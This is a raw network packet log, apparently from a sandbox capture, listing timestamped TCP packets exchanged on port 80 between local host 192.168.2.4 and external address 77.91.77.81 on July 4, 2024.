Jul 4, 2024 20:34:25.431807041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431818962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431828022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431829929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431838989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431854963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431874990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431936026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431948900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431958914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431967974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431977034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431984901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431987047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431998014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432003975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432008028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432018042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432032108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432032108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432049036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432060003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432065010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432090044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432137966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432147980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432157993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432182074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432183027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432199001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432203054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432209969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432224035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432239056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432869911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432881117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432890892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432923079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432929993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432934046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432945013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432960987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432969093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432971954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.432981014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.432992935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.433015108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.433043957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433054924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433063984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433082104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433089018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.433093071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433101892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433113098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.433114052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.433131933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.433150053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.449681044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449701071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449709892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449727058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.449748039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.449754000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449764013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449773073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449791908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.449804068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.449841976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449893951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.449978113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449987888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.449999094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450012922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450025082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.450030088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450042009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450051069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.450051069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450062990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450064898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.450073004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.450090885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.450113058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.483700037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.483778000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.483845949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.483855009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.483865023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.483897924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.483911037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.484002113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.484013081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.484021902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.484033108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.484046936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.484076977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.489458084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489510059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.489618063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489626884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489643097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489653111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489661932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.489674091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.489692926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.489777088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489793062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489801884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.489824057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.489841938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526532888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526544094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526554108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526586056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526612043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526670933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526681900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526690960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526701927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526712894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526714087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526724100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526741028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526751995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526828051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526839018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526846886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526855946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526865959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526880980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526881933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526892900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526897907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526906967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526918888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526920080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526928902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526938915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526943922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526949883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526959896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526968956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526978016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.526978970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526993990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.526998043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527004004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527017117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527019978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527030945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527036905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527040958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527051926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527060986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527070999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527071953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527071953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527081013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527091026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527101994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527107000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527132988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527160883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527172089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527193069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527193069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527223110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527342081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527352095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527360916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527371883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527384996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527410984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527487040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527498007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527508020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527518034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527528048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527537107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527539015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527549982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527566910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527566910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527587891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527631044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527642012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527652025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527662992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527673960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527676105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527702093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527713060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527776957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527787924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527797937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527821064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527837992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527920008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527930021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527940035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.527959108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.527986050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528055906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528067112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528075933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528086901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528098106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528099060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528109074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528119087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528125048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528129101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528148890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528167009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528184891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528194904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528204918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528214931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528218985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528224945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.528240919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.528265953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529139996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529150963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529160976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529170990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529181957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529187918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529197931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529223919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529227018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529238939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529247999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529263020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529263973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529273987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529273987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529285908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529289007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529297113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529308081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529309034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529318094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.529333115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.529346943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.545850039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.545924902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546008110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546019077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546027899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546041965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546051979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546056986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546067953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546076059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546078920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546101093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546108961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546150923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546160936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546171904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546191931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546219110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546288967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546300888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546336889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546427965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546438932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.546471119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.546495914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.579560041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579572916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579582930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579716921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579731941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579744101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579755068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.579762936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.579780102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.579791069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.584820032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584830999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584841013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584877968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.584894896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584899902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.584907055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584918022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584928036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.584930897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.584949970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.584971905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622327089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622338057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622349024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622468948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622478962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622490883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622493982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622493982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622510910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622536898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622634888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622646093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622657061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622667074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622678041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622678041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622687101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622697115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622704029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622723103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622745037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622787952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622798920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622807980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622817993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622827053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622832060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622837067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622844934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622848034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622864008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622889996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622927904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622942924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622952938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622961998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622967005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.622970104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622981071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.622991085 CEST	80	49744	77.91.77.81	192.168.2.4
